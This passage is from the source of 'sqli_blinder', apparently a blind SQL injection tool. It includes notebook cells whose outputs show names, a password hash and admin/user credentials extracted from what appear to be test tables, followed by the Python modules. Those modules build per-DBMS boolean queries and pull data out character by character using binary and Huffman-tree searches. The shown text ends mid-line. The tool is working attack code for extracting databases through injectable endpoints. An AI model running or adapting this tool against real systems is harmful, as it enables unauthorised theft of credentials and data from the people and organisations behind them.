sqlib.statistics.get_chars('sqli_blinder_test','password')\n", 376 | "sum([chars[k] for k in chars] )" 377 | ] 378 | }, 379 | { 380 | "cell_type": "code", 381 | "execution_count": 8, 382 | "metadata": {}, 383 | "outputs": [ 384 | { 385 | "name": "stderr", 386 | "output_type": "stream", 387 | "text": [ 388 | "WARNING:root:['ALBERT', 'ROGERS']\n", 389 | "WARNING:root:['ANDREW', 'GREEN']\n", 390 | "WARNING:root:['ANTHONY', 'RODRIGUEZ']\n", 391 | "WARNING:root:['ARTHUR', 'EVANS']\n", 392 | "WARNING:root:['BRIAN', 'ROBINSON']\n", 393 | "WARNING:root:['CARL', 'PARKER']\n", 394 | "WARNING:root:['CHARLES', 'WILSON']\n", 395 | "WARNING:root:['CHRISTOPHER', 'ANDERSON']\n", 396 | "WARNING:root:['DANIEL', 'THOMAS']\n", 397 | "WARNING:root:['DAVID', 'DAVIS']\n", 398 | "WARNING:root:['DENNIS', 'CARTER']\n", 399 | "WARNING:root:['DONALD', 'HARRIS']\n", 400 | "WARNING:root:['DOUGLAS', 'PHILLIPS']\n", 401 | "WARNING:root:['EDWARD', 'MARTINEZ']\n", 402 | "WARNING:root:['ERIC', 'HILL']\n", 403 | "WARNING:root:['FRANK', 'WRIGHT']\n", 404 | "WARNING:root:['GARY', 'HALL']\n", 405 | "WARNING:root:['GEORGE', 'MARTIN']\n", 406 | "WARNING:root:['GERALD', 'BELL']\n", 407 | "WARNING:root:['GREGORY', 'BAKER']\n", 408 | "WARNING:root:['HAROLD', 'TURNER']\n", 409 | "WARNING:root:['HENRY', 'CAMPBELL']\n", 410 | "WARNING:root:['JACK', 'MORRIS']\n", 411 | "WARNING:root:['JAMES', 'SMITH']\n", 412 | "WARNING:root:['JASON', 'LEE']\n", 413 | "WARNING:root:['JEFFREY', 'KING']\n", 414 | "WARNING:root:['JERRY', 'NELSON']\n", 415 | "WARNING:root:['JOE', 'STEWART']\n", 416 | "WARNING:root:['JOHN', 'JOHNSON']\n", 417 | "WARNING:root:['JONATHAN', 'REED']\n", 418 | "WARNING:root:['JOSE', 'YOUNG']\n", 419 | "WARNING:root:['JOSEPH', 'MOORE']\n", 420 | "WARNING:root:['JOSHUA', 'GONZALEZ']\n", 421 | "WARNING:root:['JUAN', 'SANCHEZ']\n", 422 | "WARNING:root:['JUSTIN', 'COOK']\n", 423 | "WARNING:root:['KEITH', 'MURPHY']\n", 424 | "WARNING:root:['KENNETH', 'THOMPSON']\n", 425 | "WARNING:root:['KEVIN', 'LEWIS']\n", 426 | "WARNING:root:['LARRY', 'HERNANDEZ']\n", 427 | "WARNING:root:['MARK', 'WHITE']\n", 428 | "WARNING:root:['MATTHEW', 'WALKER']\n", 429 | "WARNING:root:['MICHAEL', 'JONES']\n", 430 | "WARNING:root:['PATRICK', 'PEREZ']\n", 431 | "WARNING:root:['PAUL', 'JACKSON']\n", 432 | "WARNING:root:['PETER', 'ROBERTS']\n", 433 | "WARNING:root:['RAYMOND', 'ADAMS']\n", 434 | "WARNING:root:['RICHARD', 'MILLER']\n", 435 | "WARNING:root:['ROBERT', 'WILLIAMS']\n", 436 | "WARNING:root:['ROGER', 'COLLINS']\n", 437 | "WARNING:root:['RONALD', 'CLARK']\n", 438 | "WARNING:root:['RYAN', 'EDWARDS']\n", 439 | "WARNING:root:['SCOTT', 'LOPEZ']\n", 440 | "WARNING:root:['STEPHEN', 'SCOTT']\n", 441 | "WARNING:root:['STEVEN', 'GARCIA']\n", 442 | "WARNING:root:['TERRY', 'MORGAN']\n", 443 | "WARNING:root:['THOMAS', 'TAYLOR']\n", 444 | "WARNING:root:['TIMOTHY', 'ALLEN']\n", 445 | "WARNING:root:['WALTER', 'MITCHELL']\n", 446 | "WARNING:root:['WILLIAM', 'BROWN']\n" 447 | ] 448 | }, 449 | { 450 | "data": { 451 | "text/plain": [ 452 | "[['ALBERT', 'ROGERS'],\n", 453 | " ['ANDREW', 'GREEN'],\n", 454 | " ['ANTHONY', 'RODRIGUEZ'],\n", 455 | " ['ARTHUR', 'EVANS'],\n", 456 | " ['BRIAN', 'ROBINSON'],\n", 457 | " ['CARL', 'PARKER'],\n", 458 | " ['CHARLES', 'WILSON'],\n", 459 | " ['CHRISTOPHER', 'ANDERSON'],\n", 460 | " ['DANIEL', 'THOMAS'],\n", 461 | " ['DAVID', 'DAVIS'],\n", 462 | " ['DENNIS', 'CARTER'],\n", 463 | " ['DONALD', 'HARRIS'],\n", 464 | " ['DOUGLAS', 'PHILLIPS'],\n", 465 | " ['EDWARD', 'MARTINEZ'],\n", 466 | " ['ERIC', 'HILL'],\n", 467 | " ['FRANK', 'WRIGHT'],\n", 468 | " ['GARY', 'HALL'],\n", 469 | " ['GEORGE', 'MARTIN'],\n", 470 | " ['GERALD', 'BELL'],\n", 471 | " ['GREGORY', 'BAKER'],\n", 472 | " ['HAROLD', 'TURNER'],\n", 473 | " ['HENRY', 'CAMPBELL'],\n", 474 | " ['JACK', 'MORRIS'],\n", 475 | " ['JAMES', 'SMITH'],\n", 476 | " ['JASON', 'LEE'],\n", 477 | " ['JEFFREY', 'KING'],\n", 478 | " ['JERRY', 'NELSON'],\n", 479 | " ['JOE', 'STEWART'],\n", 480 | " ['JOHN', 'JOHNSON'],\n", 481 | " ['JONATHAN', 'REED'],\n", 482 | " ['JOSE', 'YOUNG'],\n", 483 | " ['JOSEPH', 'MOORE'],\n", 484 | " ['JOSHUA', 'GONZALEZ'],\n", 485 | " ['JUAN', 'SANCHEZ'],\n", 486 | " ['JUSTIN', 'COOK'],\n", 487 | " ['KEITH', 'MURPHY'],\n", 488 | " ['KENNETH', 'THOMPSON'],\n", 489 | " ['KEVIN', 'LEWIS'],\n", 490 | " ['LARRY', 'HERNANDEZ'],\n", 491 | " ['MARK', 'WHITE'],\n", 492 | " ['MATTHEW', 'WALKER'],\n", 493 | " ['MICHAEL', 'JONES'],\n", 494 | " ['PATRICK', 'PEREZ'],\n", 495 | " ['PAUL', 'JACKSON'],\n", 496 | " ['PETER', 'ROBERTS'],\n", 497 | " ['RAYMOND', 'ADAMS'],\n", 498 | " ['RICHARD', 'MILLER'],\n", 499 | " ['ROBERT', 'WILLIAMS'],\n", 500 | " ['ROGER', 'COLLINS'],\n", 501 | " ['RONALD', 'CLARK'],\n", 502 | " ['RYAN', 'EDWARDS'],\n", 503 | " ['SCOTT', 'LOPEZ'],\n", 504 | " ['STEPHEN', 'SCOTT'],\n", 505 | " ['STEVEN', 'GARCIA'],\n", 506 | " ['TERRY', 'MORGAN'],\n", 507 | " ['THOMAS', 'TAYLOR'],\n", 508 | " ['TIMOTHY', 'ALLEN'],\n", 509 | " ['WALTER', 'MITCHELL'],\n", 510 | " ['WILLIAM', 'BROWN']]" 511 | ] 512 | }, 513 | "execution_count": 8, 514 | "metadata": {}, 515 | "output_type": "execute_result" 516 | } 517 | ], 518 | "source": [ 519 | "sqlib.get(['name','surname'],'sqli_blinder_names',where='id<60')" 520 | ] 521 | }, 522 | { 523 | "cell_type": "code", 524 | "execution_count": 8, 525 | "metadata": {}, 526 | "outputs": [ 527 | { 528 | "data": { 529 | "text/plain": [ 530 | "['6885858486f31043e5839c735d99457f045affd0',\n", 531 | " '6885858486f31043e5839c735d99457f045affd0']" 532 | ] 533 | }, 534 | "execution_count": 8, 535 | "metadata": {}, 536 | "output_type": "execute_result" 537 | } 538 | ], 539 | "source": [ 540 | "sqlib.get_statistics().get_values('users','password')" 541 | ] 542 | }, 543 | { 544 | "cell_type": "code", 545 | "execution_count": 12, 546 | "metadata": {}, 547 | "outputs": [ 548 | { 549 | "data": { 550 | "text/plain": [ 551 | "353" 552 | ] 553 | }, 554 | "execution_count": 12, 555 | "metadata": {}, 556 | "output_type": "execute_result" 557 | } 558 | ], 559 | "source": [ 560 | "s = sqlib.get_statistics()\n", 561 | "x = s.get_chars('sqli_blinder_names','surname')\n", 562 | "sum([x[k] for k in x])" 563 | ] 564 | }, 565 | { 566 | "cell_type": "code", 567 | "execution_count": 9, 568 | "metadata": {}, 569 | "outputs": [ 570 | { 571 | "name": "stdout", 572 | "output_type": "stream", 573 | "text": [ 574 | "Chars found: 691\n", 575 | "Total requests issued: 4255\n", 576 | "Only char requests issued: 3537\n", 577 | "Total requests per char: 6.157742402315485\n", 578 | "Char requests per char: 5.118668596237337\n" 579 | ] 580 | } 581 | ], 582 | "source": [ 583 | "sqlib.print_stats()" 584 | ] 585 | }, 586 | { 587 | "cell_type": "code", 588 | "execution_count": 76, 589 | "metadata": {}, 590 | "outputs": [ 591 | { 592 | "name": "stdout", 593 | "output_type": "stream", 594 | "text": [ 595 | "Chars found: 570\n", 596 | "Total requests issued: 3365\n", 597 | "Only char requests issued: 2767\n", 598 | "Total requests per char: 5.9035087719298245\n", 599 | "Char requests per char: 4.8543859649122805\n" 600 | ] 601 | } 602 | ], 603 | "source": [ 604 | "sqlib.print_stats()" 605 | ] 606 | }, 607 | { 608 | "cell_type": "code", 609 | "execution_count": 9, 610 | "metadata": {}, 611 | "outputs": [ 612 | { 613 | "name": "stdout", 614 | "output_type": "stream", 615 | "text": [ 616 | "Chars found: 691\n", 617 | "Total requests issued: 4026\n", 618 | "Only char requests issued: 3308\n", 619 | "Total requests per char: 5.826338639652677\n", 620 | "Char requests per char: 4.78726483357453\n" 621 | ] 622 | } 623 | ], 624 | "source": [ 625 | "sqlib.print_stats()" 626 | ] 627 | }, 628 | { 629 | "cell_type": "code", 630 | "execution_count": 41, 631 | "metadata": {}, 632 | "outputs": [ 633 | { 634 | "data": { 635 | "text/plain": [ 636 | "[['admin', 'c4K04dtIaJsuWdi'], ['user1', 'OK4dSoYE'], ['user2', '8Wbhkzmd']]" 637 | ] 638 | }, 639 | "execution_count": 41, 640 | "metadata": {}, 641 | "output_type": "execute_result" 642 | } 643 | ], 644 | "source": [ 645 | "sqlib.get(['username','password'],'users')" 646 | ] 647 | }, 648 | { 649 | "cell_type": "code", 650 | "execution_count": 1, 651 | "metadata": {}, 652 | "outputs": [ 653 | { 654 | "name": "stderr", 655 | "output_type": "stream", 656 | "text": [ 657 | "usage: ipykernel_launcher.py [-h] [-t TABLE] [-c COLUMN] [-w WHERE]\n", 658 | " [--threads THREADS] --dbms\n", 659 | " {mysql,mssql,sqlite,oracle}\n", 660 | " {check,count,one,get}\n", 661 | "ipykernel_launcher.py: error: argument mode: invalid choice: '/Users/p.sorokin/Library/Jupyter/runtime/kernel-de751ca1-7c44-40a1-8bc3-f5cca5719359.json' (choose from 'check', 'count', 'one', 'get')\n" 662 | ] 663 | }, 664 | { 665 | "ename": "SystemExit", 666 | "evalue": "2", 667 | "output_type": "error", 668 | "traceback": [ 669 | "An exception has occurred, use %tb to see the full traceback.\n", 670 | "\u001b[0;31mSystemExit\u001b[0m\u001b[0;31m:\u001b[0m 2\n" 671 | ] 672 | }, 673 | { 674 | "name": "stderr", 675 | "output_type": "stream", 676 | "text": [ 677 | "/Users/p.sorokin/anaconda3/envs/cth_37/lib/python3.7/site-packages/IPython/core/interactiveshell.py:3334: UserWarning: To exit: use 'exit', 'quit', or Ctrl-D.\n", 678 | " warn(\"To exit: use 'exit', 'quit', or Ctrl-D.\", stacklevel=1)\n" 679 | ] 680 | } 681 | ], 682 | "source": [ 683 | "import argparse\n", 684 | "parser = argparse.ArgumentParser()\n", 685 | "\n", 686 | "## --check\n", 687 | "## --count \n", 688 | "## --one '--table' '--'\n", 689 | "## --get\n", 690 | "parser.add_argument(\"mode\",help=\"one of ['check','count','one','get']\",choices= ['check','count','one','get'])\n", 691 | "parser.add_argument(\"-t\",\"--table\",\n", 692 | " help = \"table nmae\");\n", 693 | "parser.add_argument(\"-c\",\"--column\",\n", 694 | " help=\"column names. For get mode could by comma separated array of columns\")\n", 695 | "parser.add_argument(\"-w\", \"--where\", \n", 696 | " help=\"where clause\")\n", 697 | "parser.add_argument(\"--threads\",help=\"number of threads\",type=int,)\n", 698 | "parser.add_argument('--dbms',help=\"DBMS\",choices= ['mysql','mssql','sqlite','oracle'],required=True)\n", 699 | "\n", 700 | "\n", 701 | "args = parser.parse_args()\n", 702 | "if args.threads <=0 :\n", 703 | " print ('threads > 0')\n", 704 | " exit(-1)\n", 705 | "if args.threads == 1:\n", 706 | " multithreaded = False\n", 707 | "else:\n", 708 | " multithreaded = True\n", 709 | "\n", 710 | "sqlib = sqli_blinder.SQLiBliner(request_func,args.dbms,multithreaded=multithreaded,threads=args.threads)\n", 711 | "\n", 712 | "if args.mode == 'check':\n", 713 | " check = sqlib.check()\n", 714 | " print (check)\n", 715 | " exit(0)\n", 716 | "\n", 717 | "parser.parse_args('check')" 718 | ] 719 | } 720 | ], 721 | "metadata": { 722 | "kernelspec": { 723 | "display_name": "Python 3 (ipykernel)", 724 | "language": "python", 725 | "name": "python3" 726 | }, 727 | "language_info": { 728 | "codemirror_mode": { 729 | "name": "ipython", 730 | "version": 3 731 | }, 732 | "file_extension": ".py", 733 | "mimetype": "text/x-python", 734 | "name": "python", 735 | "nbconvert_exporter": "python", 736 | "pygments_lexer": "ipython3", 737 | "version": "3.9.10" 738 | } 739 | }, 740 | "nbformat": 4, 741 | "nbformat_minor": 2 742 | } 743 | -------------------------------------------------------------------------------- /sqli_blinder/__init__.py: -------------------------------------------------------------------------------- 1 | from .blinder import SQLiBlinder -------------------------------------------------------------------------------- /sqli_blinder/aio/__init__.py: -------------------------------------------------------------------------------- 1 | from .aioblinder import SQLiBlinder -------------------------------------------------------------------------------- /sqli_blinder/aio/aioblinder.py: -------------------------------------------------------------------------------- 1 | import asyncio 2 | from ..engines import * 3 | 4 | class SQLiBlinder: 5 | """Blind SQL injector""" 6 | 7 | def __init__(self,request_func,dbms,multithreaded=True,threads=16): 8 | """`request_func` - function, that take 1 param. If param is '1=1' request_func must return True,if param is '1=0' request_func must return False 9 | `dbms` - one of ['mysql','mssql','oracle','sqlite'] 10 | `multithreaded` - if True run number of threads, else one 11 | `threads` - number of threads (only for multithreaded)""" 12 | self.inner_request_func = request_func 13 | self.dbms = dbms.lower() 14 | self.init_params(self.dbms) 15 | self.multithreaded=multithreaded 16 | self.threads=threads 17 | self.semaphore = asyncio.Semaphore(threads) 18 | 19 | async def request_func(self,sql): 20 | async with self.semaphore: 21 | return await self.inner_request_func(sql) 22 | 23 | def init_params(self,dbms): 24 | supported = ['mysql','mssql','oracle','sqlite','postgre'] 25 | if dbms not in supported: 26 | raise Exception('%s not supported'%dbms) 27 | if dbms == 'mysql': 28 | self.base_from_clause = 'FROM {table_name} {where} ORDER BY {order_by} limit 1 offset {row_num}' 29 | self.string_definition = 'SELECT %s' 30 | self.string_len_definition = 'SELECT length(%s)' 31 | self.string_char_definition = 'SELECT ASCII(SUBSTRING(%s,%d,1))' 32 | self.count_definition = 'SELECT count(*) FROM (SELECT * FROM %s %s)T' 33 | self.offset_shift=0 34 | 35 | #MSSQL 36 | if dbms == 'mssql': 37 | self.base_from_clause = 'FROM (SELECT *, ROW_NUMBER() OVER(ORDER by [{order_by}])n FROM {table_name} {where})T WHERE n={row_num}' 38 | self.string_definition = 'SELECT %s' 39 | self.string_len_definition = 'SELECT len(%s)' 40 | self.string_char_definition = 'SELECT ASCII(SUBSTRING(%s,%d,1))' 41 | self.count_definition = 'SELECT count(*) FROM (SELECT * FROM %s %s)T' 42 | self.offset_shift=1 43 | 44 | #SQLITE 45 | if dbms == 'sqlite': 46 | self.base_from_clause = 'FROM {table_name} {where} ORDER BY {order_by} limit 1 offset {row_num}' 47 | self.string_definition = 'SELECT %s' 48 | self.string_len_definition = 'SELECT length(%s)' 49 | self.string_char_definition = 'SELECT hex(SUBSTR(%s,%d,1))' 50 | self.count_definition = 'SELECT count(*) FROM (SELECT * FROM %s %s)T' 51 | self.offset_shift=0 52 | 53 | #oracle 54 | if dbms == 'oracle': 55 | self.base_from_clause = 'FROM (SELECT a.*, ROWNUM rn FROM {table_name} a {where} ORDER BY a.{order_by}) WHERE rn={row_num}' 56 | self.string_definition = 'SELECT %s' 57 | self.string_len_definition = 'SELECT LENGTH(%s)' 58 | self.string_char_definition = 'SELECT ASCII(SUBSTR(%s,%d,1))' 59 | self.count_definition = 'SELECT count(*) FROM (SELECT * FROM %s %s)T' 60 | self.offset_shift=1 61 | 62 | #postgre 63 | if dbms == 'postgre': 64 | self.base_from_clause = 'FROM {table_name} {where} ORDER BY {order_by} limit 1 offset {row_num}' 65 | self.string_definition = 'SELECT %s' 66 | self.string_len_definition = 'SELECT LENGTH(%s)' 67 | self.string_char_definition = 'SELECT ASCII(SUBSTRING(%s,%d,1))' 68 | self.count_definition = 'SELECT count(*) FROM (SELECT * FROM %s %s)T' 69 | self.offset_shift=0 70 | 71 | async def check(self): 72 | concurrent_task = asyncio.gather(self.request_func('1=1'), 73 | self.request_func('1=0')) 74 | results = await concurrent_task 75 | return (results[0] == True) and (results[1] == False) 76 | 77 | def define_string(self,table_name,column_name,index,where=None,order_by=None): 78 | if order_by is None: 79 | order_by = column_name 80 | return self.string_definition%(column_name) + ' ' + self.get_from_clause(table_name,index,order_by,where=where) 81 | 82 | def get_from_clause(self,table_name,index,order_by,where=None): 83 | to_where = '' 84 | if where != None: 85 | to_where = 'WHERE '+where 86 | return self.base_from_clause.format(order_by = order_by,table_name = table_name,where = to_where,row_num = index) 87 | 88 | def define_string_len(self,table_name,column_name,index,where=None,order_by=None): 89 | if order_by is None: 90 | order_by = column_name 91 | return self.string_len_definition%(column_name)+ ' ' + \ 92 | self.get_from_clause(table_name,index,order_by,where) 93 | 94 | def define_string_char(self,table_name,column_name,index,string_pos,where=None,order_by=None): 95 | if order_by is None: 96 | order_by = column_name 97 | return self.string_char_definition%(column_name,string_pos) + ' ' + \ 98 | self.get_from_clause(table_name,index,order_by,where) 99 | 100 | def define_count(self,table_name,where=None): 101 | to_where = '' 102 | if where != None: 103 | to_where = 'WHERE '+where 104 | return self.count_definition%(table_name,to_where) 105 | 106 | def build_sql_binary_query(self,query,value,search_for_number): 107 | if (self.dbms == 'sqlite') and (search_for_number==False): 108 | return "(%s)>=hex(char(%s))" % (query,value) #this is cause ' was banned in task, but works always 109 | else: 110 | return '(%s)>=%d' %(query,value) 111 | 112 | async def get_bool(self,sql): 113 | return await self.request_func(sql) 114 | 115 | async def binary_search(self,s,start_val,start_val_defined=False,search_for_number=False): #start_val should be power of 2 116 | #define real_start_val: 117 | if not start_val_defined: 118 | while True: 119 | sql = self.build_sql_binary_query(s,start_val-1,search_for_number) 120 | #print sql 121 | r = await self.get_bool(sql) 122 | if r: 123 | start_val*=8 124 | else: 125 | break 126 | #now start_val > len 127 | cur_val = start_val/2 128 | move = start_val/4 129 | while True: 130 | sql = self.build_sql_binary_query(s,cur_val,search_for_number) 131 | #print sql 132 | r = await self.get_bool(sql) 133 | #print r 134 | if move<1: 135 | if r: 136 | return int(cur_val) 137 | else: 138 | return int(cur_val-1) 139 | if r: #(cur_val+1 - cur_val+2*move) 140 | cur_val+=move 141 | else: 142 | cur_val-=move 143 | move = move/2 144 | 145 | async def get_count(self,table_name,where=None): 146 | s = self.define_count(table_name,where) 147 | return await self.binary_search(s,32,False,True) 148 | 149 | async def get_integer(self,table_name,column_name,index,where=None,order_by=None): 150 | s = self.define_string(table_name,column_name,index,where=where,order_by=order_by) 151 | return await self.binary_search(s,32,False,True) 152 | 153 | async def get_length_of_string(self,table_name,column_name,index,where=None,order_by=None): 154 | s = self.define_string_len(table_name,column_name,index,where,order_by) 155 | return await self.binary_search(s,32,False,True) 156 | 157 | async def get_char(self,table_name,column_name,index,str_pos,where=None,order_by=None): 158 | s = self.define_string_char(table_name,column_name,index,str_pos,where,order_by) 159 | return chr(await self.binary_search(s,256,True)) 160 | 161 | def get_char_for_pool(self,chunk): 162 | return self.get_char(*chunk) 163 | 164 | def get_string(self,table_name,column_name,index,where=None,order_by=None,verbose=True): 165 | l = self.get_length_of_string(table_name,column_name,index,where,order_by) 166 | if verbose: 167 | print ('length(%s,%d): %d' % (column_name,index,l)) 168 | r = '' 169 | if not self.multithreaded: 170 | for i in range(l): 171 | r+=self.get_char(table_name,column_name,index,i+1,where,order_by) 172 | #print r 173 | return r 174 | else: 175 | with ThreadPoolExecutor(max_workers=self.threads) as pool: 176 | r = ''.join(list(pool.map(self.get_char_for_pool,[(table_name,column_name,index,i+1,where,order_by) for i in range(l)]))) 177 | return r 178 | 179 | async def get_string(self,table_name,column_name,index,where=None,order_by=None,verbose=True): 180 | l = await self.get_length_of_string(table_name,column_name,index,where,order_by) 181 | if verbose: 182 | print ('length(%s,%d): %d' % (column_name,index,l)) 183 | letter_tasks = asyncio.gather(*map(self.get_char_for_pool,[(table_name,column_name,index,i+1,where,order_by) for i in range(l)])) 184 | letters = await letter_tasks 185 | res = ''.join(letters) 186 | if verbose: 187 | print (res) 188 | return res 189 | 190 | def get(self,columns,table_name,where=None,order_by=None,verbose=True): 191 | count = self.get_count(table_name,where) 192 | print ('count of rows to extract: %d' % count) 193 | res = [] 194 | if order_by is None: 195 | order_by = columns[0] 196 | r = [x for x in columns if x.lower() == 'id'] 197 | if len(r) != 0: 198 | order_by = r[0] 199 | for i in range(count): 200 | cs = [] 201 | for column in columns: 202 | cs.append(self.get_string(table_name,column,i+self.offset_shift,where,order_by,verbose)) 203 | if verbose: 204 | print (cs) 205 | res.append(cs) 206 | return res 207 | 208 | async def get_row(self,columns,table_name,index,where=None,order_by=None,verbose=True): 209 | coroutines = [self.get_string(table_name,column,index,where,order_by,verbose) for column in columns] 210 | tasks = asyncio.gather(*coroutines) 211 | result = await tasks 212 | if verbose: 213 | print (result) 214 | return result 215 | 216 | async def get(self,columns,table_name,where=None,order_by=None,verbose=True): 217 | count = await self.get_count(table_name,where) 218 | print ('count of rows to extract: %d' % count) 219 | if order_by is None: 220 | order_by = columns[0] 221 | r = [x for x in columns if x.lower() == 'id'] 222 | if len(r) != 0: 223 | order_by = r[0] 224 | coroutines = [self.get_row(columns,table_name,index+self.offset_shift,where,order_by,verbose) 225 | for index in range(count)] 226 | tasks = asyncio.gather(*coroutines) 227 | results = await tasks 228 | return results 229 | 230 | async def get_columns_with_types(self,table_name): 231 | if self.dbms == 'postgre': 232 | oid = await self.get_string('pg_class','cast(oid as TEXT)',0,where="relname='%s'"%table_name,order_by='oid') 233 | oid = int(oid) 234 | cols = await self.get(['attname','cast(atttypid as TEXT)'],'pg_attribute',where='attrelid=%d and attnum>0'%oid) 235 | types = list(set([c[1] for c in cols])) 236 | types_table = {} 237 | for typid in types: 238 | type_name = await self.get_string('pg_type','typname',0,where='oid=%d'%int(typid),order_by='oid') 239 | types_table[typid]=type_name 240 | return [[col[0],types_table[col[1]]] for col in cols] 241 | else: 242 | return 'dbms not supported' 243 | 244 | 245 | -------------------------------------------------------------------------------- /sqli_blinder/blinder.py: -------------------------------------------------------------------------------- 1 | from concurrent.futures import ThreadPoolExecutor 2 | from .engines import * 3 | from .statistics import * 4 | from .huffman_tree import huffman_tree, score, get_chars_in_tree 5 | import logging 6 | from enum import Enum 7 | 8 | class ErrorProcessStrategy(Enum): 9 | FULL_SEARCH = 1 10 | 11 | 12 | class SQLiBlinder: 13 | """Blind SQL injector""" 14 | 15 | def __init__(self, request_func, dbms, multithreaded=True, threads=16, 16 | auto_string_convert=True, get_long_strings=False, 17 | error_processing_strategy=ErrorProcessStrategy.FULL_SEARCH, 18 | char_in_position_opt=True, alphabet_autocreate_opt=True,huffman_tree_opt=True): 19 | """`request_func` - function, that take 1 param. If param is "1=1" request_func must return True,if param is "1=0" request_func must return False 20 | `dbms` - one of ["mysql","mssql","oracle","sqlite"] 21 | `multithreaded` - if True run number of threads, else one 22 | `threads` - number of threads (only for multithreaded) 23 | `auto_string_convert` - convert all columns to string (via CAST(col as TEXT) etc. 24 | `get_long_strings` - do find symbols after 64 25 | `char_in_position_opt` - do statistics analyze of chars in same position. For example, GUID always have same symbol dash in known position. If statistics shows that symbol always in same position, then check this char first. 26 | `alphabet_autocreate_opt` - auto build charset for search based on already found characters 27 | `huffman_tree_opt` - make huffman-tree search; huffman tree is built based on selective distribution 28 | """ 29 | self.request_func = request_func 30 | self.dbms = dbms.lower() 31 | self.init_params(self.dbms) 32 | self.multithreaded = multithreaded 33 | self.threads = threads 34 | self.auto_string_convert = auto_string_convert 35 | self.get_long_strings = get_long_strings 36 | self.long_string_limit = 64 37 | self.ascii_search_limit = 128 #128 - low part of ascii table for search, 256 - full ascii table 38 | self.error_processing_strategy = error_processing_strategy 39 | self.total_chars = 0 40 | self.total_requests = 0 41 | self.not_char_requests = 0 42 | self.statistics = Statistics() 43 | self.char_in_position_opt = char_in_position_opt 44 | self.char_in_position_opt_count = 3 45 | self.alphabet_autocreate_opt = alphabet_autocreate_opt 46 | self.alphabet_autocreate_limit = 64 47 | self.huffman_tree_opt = huffman_tree_opt 48 | self.huffman_tree_limit = 64 49 | 50 | def get_column_expression(self,column): 51 | if self.auto_string_convert: 52 | return self.dbms.convert_to_text.format(column) 53 | else: 54 | return column 55 | 56 | def init_params(self, dbms): 57 | dbms_obj = engines.get(dbms, None) 58 | if not dbms_obj: 59 | raise Exception(f"{dbms} not supported") 60 | 61 | self.dbms = dbms_obj 62 | 63 | def check(self): 64 | if self.request_func("1=1") == True: 65 | if self.request_func("1=0") == False: 66 | return True 67 | return False 68 | 69 | def define_string(self, table_name, column_name, index, where=None, order_by=None): 70 | if order_by is None: 71 | order_by = column_name 72 | return f"{self.dbms.string_definition.format(self.get_column_expression(column_name))} {self.get_from_clause(table_name, index, order_by, where)}" 73 | 74 | def get_from_clause(self, table_name, index, order_by, where=None): 75 | if table_name is None: 76 | return "" 77 | to_where = "" 78 | if where != None: 79 | to_where = f"WHERE {where}" 80 | return self.dbms.base_from_clause.format(order_by=order_by, table_name=table_name, where=to_where, row_num=index) 81 | 82 | def define_string_len(self, table_name, column_name, index, where=None, order_by=None): 83 | if order_by is None: 84 | order_by = column_name 85 | return f"{self.dbms.string_len_definition.format(self.get_column_expression(column_name))} {self.get_from_clause(table_name, index, order_by, where)}" 86 | 87 | def define_string_char(self, table_name, column_name, index, string_pos, where=None, order_by=None): 88 | if order_by is None: 89 | order_by = column_name 90 | return f"{self.dbms.string_char_definition.format(self.get_column_expression(column_name), string_pos)} {self.get_from_clause(table_name, index, order_by, where)}" 91 | 92 | def define_count(self, table_name, where=None): 93 | to_where = "" 94 | if where != None: 95 | to_where = f"WHERE {where}" 96 | return self.dbms.count_definition.format(table_name, to_where) 97 | 98 | def build_sql_binary_query(self, query, value, search_for_number): 99 | if isinstance(self.dbms, SQLite) and search_for_number == False: 100 | # this is cause " was banned in task, but works always 101 | return f"({query})>=hex(char({value}))" 102 | else: 103 | return f"({query})>={value}" 104 | 105 | def build_sql_binary_set_query(self,query,subset): 106 | converted_subset = ','.join([self.dbms.binary_set_format.format(ord(a)) for a in subset]) 107 | return f"({query}) not in ({converted_subset})" 108 | 109 | def build_sql_huffman_tree_query(self,query,subset): 110 | converted_subset = ','.join([self.dbms.binary_set_format.format(ord(a)) for a in subset]) 111 | return f"({query}) in ({converted_subset})" 112 | 113 | def get_bool(self, sql): 114 | self.total_requests+=1 115 | return self.request_func(sql) 116 | 117 | # start_val should be power of 2 118 | def binary_search(self, s, start_val, start_val_defined=False, search_for_number=False, not_char_request=False): 119 | # define real_start_val: 120 | if not start_val_defined: 121 | while True: 122 | sql = self.build_sql_binary_query( 123 | s, start_val - 1, search_for_number) 124 | # print sql 125 | if(not_char_request): 126 | self.not_char_requests+=1 127 | r = self.get_bool(sql) 128 | if r: 129 | start_val *= 8 130 | else: 131 | break 132 | # now start_val > len 133 | cur_val = start_val / 2 134 | move = start_val / 4 135 | while True: 136 | sql = self.build_sql_binary_query(s, cur_val, search_for_number) 137 | # print sql 138 | if(not_char_request): 139 | self.not_char_requests+=1 140 | r = self.get_bool(sql) 141 | # print r 142 | if move < 1: 143 | if r: 144 | return int(cur_val) 145 | else: 146 | return int(cur_val - 1) 147 | if r: # (cur_val+1 - cur_val+2*move) 148 | cur_val += move 149 | else: 150 | cur_val -= move 151 | move = move/2 152 | 153 | def binary_search_set(self, s, alph_set): 154 | if len(alph_set)==0: 155 | return False 156 | alph_set = [c for c in alph_set] 157 | alph_set += ['CANNARY'] 158 | while True: 159 | l = len(alph_set) 160 | first_part = alph_set[:l//2] 161 | sql = self.build_sql_binary_set_query(s,first_part) 162 | #print(sql) 163 | r = self.get_bool(sql) 164 | #print('Result: {}'.format(r)) 165 | if not r: 166 | new_alph_set = first_part 167 | else: 168 | 169 | new_alph_set = alph_set[l//2:] 170 | if len(new_alph_set) == 1: 171 | if new_alph_set[0]=='CANNARY': 172 | return False 173 | else: 174 | return new_alph_set[0] 175 | #print(f'old subset: {alph_set}') 176 | alph_set = new_alph_set 177 | 178 | #print(f'new subset: {new_alph_set}') 179 | 180 | def huffman_tree_search(self,s,char_statistics): 181 | char_statistics['CANNARY'] = 1 182 | tree = huffman_tree(char_statistics) 183 | while True: 184 | if type(tree[1])==float: 185 | if tree[0] == 'CANNARY': 186 | return False 187 | else: 188 | return tree[0] 189 | left = tree[0] 190 | right = tree[1] 191 | left_chars = get_chars_in_tree(left) 192 | right_chars = get_chars_in_tree(right) 193 | #print (f'left: {left_chars}, right: {right_chars}') 194 | if 'CANNARY' in left_chars: 195 | check = right 196 | not_check = left 197 | else: 198 | check = left 199 | not_check = right 200 | check_chars = get_chars_in_tree(check) 201 | sql = self.build_sql_huffman_tree_query(s,check_chars) 202 | r = self.get_bool(sql) 203 | #print (f'SQL: {sql}, result: {r}') 204 | if r: 205 | new_tree = check 206 | else: 207 | new_tree = not_check 208 | tree = new_tree 209 | #print (f'choose: {get_chars_in_tree(tree)}') 210 | 211 | def get_count(self, table_name, where=None): 212 | s = 